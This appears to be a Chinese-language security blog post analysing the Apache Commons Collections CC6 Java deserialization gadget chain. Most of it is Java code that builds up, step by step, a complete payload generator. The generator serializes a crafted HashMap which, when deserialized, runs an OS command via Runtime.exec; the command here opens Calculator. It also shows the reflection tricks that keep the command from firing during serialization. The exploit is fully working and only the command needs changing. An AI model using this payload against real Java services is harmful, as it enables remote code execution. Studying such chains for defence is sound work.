CC6利用链分析

CC6利用链分析

相比较于cc1,cc6主要用的多一点的原因就是兼容高版本jdk。

在前面的cc1中的LazyMap链分析中已经看到了,如果想要通过LazyMap来利用cc1,那么我们需要关注的就是get方法的调用位置,于是遍历以后发现在TiedMapEntry类中的getValue就使用到了get方法:

    /*** Gets the value of this entry direct from the map.* * @return the value*/public Object getValue() {return map.get(key);}

并且这里的map值是可控的,所以,我们可以得到一个新的链子:

public class cc6 {public static void main(String[] args) throws Exception {Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");tiedMapEntry.getValue();}
}

然后继续分析这里发现在TideMapEntry中的hashcode方法还调用了getValue:

    /*** Gets a hashCode compatible with the equals method.* 

* Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}* * @return a suitable hash code*/public int hashCode() {Object value = getValue();return (getKey() == null ? 0 : getKey().hashCode()) ^(value == null ? 0 : value.hashCode()); }

也就是说这里直接调用hashcode方法,一样可以触发到LazyMap的get方法:

public class cc6 {public static void main(String[] args) throws Exception {Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");tiedMapEntry.hashCode();}
}

然后分析过URLDNS链的话,在这里就会比较敏感了,因为在HashMap的put方法里面会调用hash方法,并且key值可控:

		/*** Associates the specified value with the specified key in this map.* If the map previously contained a mapping for the key, the old* value is replaced.** @param key key with which the specified value is to be associated* @param value value to be associated with the specified key* @return the previous value associated with key, or*         null if there was no mapping for key.*         (A null return can also indicate that the map*         previously associated null with key.)*/public V put(K key, V value) {return putVal(hash(key), key, value, false, true);}

然后,在这个hash方法中会调用key的hashcode方法:

 static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}

所以这里修改一下我们的链子:

public class cc6 {public static void main(String[] args) throws Exception {Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(tiedMapEntry,123);}
}

然后还是同样的方法,我们尝试反序列化,需要找到一个重写了readObject并且还利用了hash方法的类,实际上HashMap的readobject就能实现:

public class cc6 {public static void main(String[] args) throws Exception {Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(tiedMapEntry,123);serialize(hashMap);
//        unserialize();}public static void serialize(Object obj) throws Exception {ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));outputStream.writeObject(obj);outputStream.close();}public static void unserialize() throws Exception{ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));Object obj = inputStream.readObject();inputStream.close();}}

但是到这里一步大家会发现,这里由于在序列化的时候本地执行了命令,所以,在反序列化的时候是失败的。所以这里我们要想个办法让其在序列化之前不执行命令,那么就需要将Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);中的chaineTransformer先替换掉。然后在反序列化之前再修改过来,这里可以通过new ConstantTransformer(1)来替换。因为在ConstantTransformer中,通过transform方法会返回自身:

    /*** Transforms the input by ignoring it and returning the stored constant instead.* * @param input  the input object which is ignored* @return the stored constant*/public Object transform(Object input) {return iConstant;}

所以,修改以后的链子如下:

public class cc6 {public static void main(String[] args) throws Exception {Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(tiedMapEntry,123);Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(decorate,chainedTransformer);serialize(hashMap);
//        unserialize();}public static void serialize(Object obj) throws Exception {ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));outputStream.writeObject(obj);outputStream.close();}public static void unserialize() throws Exception{ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));Object obj = inputStream.readObject();inputStream.close();}}

这里在反序列话的时候还是失败,所以调试的时候终于发现了问题,这里因为表达式为true,所以会直接跳出,并且这里的key值已经为12了:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yCUl53uz-1660883653803)(/Users/kento/Library/Application Support/typora-user-images/image-20220819122923400.png)]

所以这里,我们需要在序列化之前删掉key值,最后完整的payload如下:

package sec;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class cc6 {public static void main(String[] args) throws Exception {Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<Object,Object> decorate = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "12");HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(tiedMapEntry,123);decorate.remove("12");Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(decorate,chainedTransformer);serialize(hashMap);
//        unserialize();}public static void serialize(Object obj) throws Exception {ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));outputStream.writeObject(obj);outputStream.close();}public static void unserialize() throws Exception{ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));Object obj = inputStream.readObject();inputStream.close();}}


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部